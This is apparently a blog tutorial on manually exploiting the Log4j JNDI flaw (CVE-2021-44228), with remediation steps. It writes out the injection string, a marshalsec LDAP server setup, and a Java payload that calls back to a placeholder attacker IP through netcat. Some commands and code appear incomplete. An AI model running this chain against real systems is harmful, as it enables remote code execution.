top of page

Exploiting Log4j (CVE-2021-44228)

Updated: Dec 31, 2021

Trees in Grand Teton National park; photo by Ryan Murphy.

The most recent vulnerability in Apache's Log4j (CVE-2021-44228) took the world by storm on Thursday night (12/9/21). By now there are plenty of 3rd party tools that will provide scanning, automated exploitation and remediation. However, I've always found that the best way to understand a vulnerability is manually walking through exploitation from start to finish. That's what I attempt to do here.

This will walk through the basic steps of JNDI injection into Java applications. This particular vulnerability takes advantage of a flaw in logj4 (2.0 <= Apache log4j <= 2.14.1) and a feature in Java which allows a remote codebase to be loaded via JNDI/LDAP. I used a number of resources to generate this guide (all of which I attempt to link along the way). I originally came across the vulnerability over at lunasec which provided a nice overview of exploitation as well.

It has since been released that JDK versions greater than 6u211, 7u201, 8u191, and 11.0.1 are not affected by the LDAP attack vector. The feature which allowed the loading of remote codebases using LDAP is disabled by default by setting com.sun.jndi.ldap.object.trustURLCodebase to false. Let's get started!

DISCLAIMER: This is for educational / testing purposes only. I found it very useful to be able to test applications (before and after patching) using this method.

Testing if a given endpoint is vulnerable

Let's test if an endpoint is vulnerable. We'll run netcat in listening mode and send the (now infamous) payload to a potentially vulnerable server.

nc -n -v -l -p 1389

Now try injecting ${jndi:ldap://IP.IP.IP.IP:1389/obj} anywhere that may be logged by log4j (e.g. user-agent header, username field, content-type header, etc...). You can use a tool like Burp Suite to do this. Replace IP.IP.IP.IP with the IP address that's running netcat.

Seeing any kind of activity on your netcat instance indicates the server is at the very least querying your LDAP server. This doesn't necessarily mean the server is subject to RCE but at the very least may be vulnerable to other vulnerabilities. It's also not a good look to have your server arbitrarily querying other servers.

Let's proceed with exploitation

1) Clone and setup a custom LDAP server from This will allow you to customize what URL will be serving your malicious payload. When the server reaches out to your LDAP server, the LDAP server will return some key/value fields that point to a web server hosting your malicious payload.

cd ~
git clone .
apt install openjdk-8-jdk maven
mvn clean package -DskipTests
cd ./marshalsec/target

2) Now we can run our LDAP server. I've seen reports that you can run an RMIRefServer too so I've included that syntax as well. However, it's not clear what benefit that provides or if it'll function in the same way. The IP.IP.IP.IP will be the location of your webserver and #Exploit will be the

payload we'll setup in the next step.

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://IP.IP.IP.IP/#Exploit 1389


java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://IP.IP.IP.IP/#Exploit" 9999

When queried by an application, the LDAP server will return something like this...

javaClassName: foo
javaCodeBase: http://IP.IP.IP.IP/
objectClass: javaNamingReference
javaFactory: Exploit

3) Now let's create a payload which may be executed on the vulnerable machine after it's fetched. You should see both a .java file and a .class file after the code is compiled.

mkdir ~/jndi/        
vi ~/jndi/

The contents of should look something like...

public class Exploit {
	static {
		try {
			Runtime.getRuntime().exec("nc -v IP.IP.IP.IP 8080");
		catch(Exception e) {
			e.printStackTrace ();

Compile your code...


4) Now we want to run a webserver from the same directory you compiled Exploit.class to in order to serve payload:

python3 -m http.server 80

5) Now, in another terminal run netcat (nc) for remote shell / callback. If you see activity here after step #6, you've successfully gained RCE on the system.

nc -n -v -l -p 8080

6) Send payload which will initiate a request from the vulnerable server to the malicious LDAP server:

Try injecting ${jndi:ldap://IP.IP.IP.IP:1389/obj} anywhere that may be logged by log4j (e.g. user-agent header, username field, content-type header, etc...). Replace IP.IP.IP.IP with the IP address

that's running the LDAP server. You can use a tool like Burp Suite to do this.

7) If the target is vulnerable, there should be a request sent to your controlled LDAP server. The LDAP server receives the request and returns some parameters that include the path to your http server. The vulnerable server should then reach out to your HTTP server for exploit download and execution.

Example: No activity:

Listening on

Example: LDAP server after a single request is received:

Listening on
Send LDAP reference result for obj redirecting to http://IP.IP.IP.IP/Exploit.class

How can we make sure we're not vulnerable? (remediation)

  • Upgrade to latest version of log4j

  • Upgrade JDK to any version higher than 6u211, 7u201, 8u191, and 11.0.1. This will solve the immediate issue of remote code loading, however, this may not be a complete solution as there are other potential attack vectors.

  • Add JAVA_OPTIONS+=("-Dlog4j2.formatMsgNoLookups=true") to Java options. To check if this setting is correctly applied: ps aux | grep 'formatMsgNoLookups=true'

This vulnerability has drawn comparisons to Shellshock due to the potential for how wormable it can be. As expected, internet scanning for this started only hours after its release so be sure to patch ASAP. I've found the above method a great way to test applications both before and after patches are applied to confirm the vulnerability has been patched.

370 views0 comments


bottom of page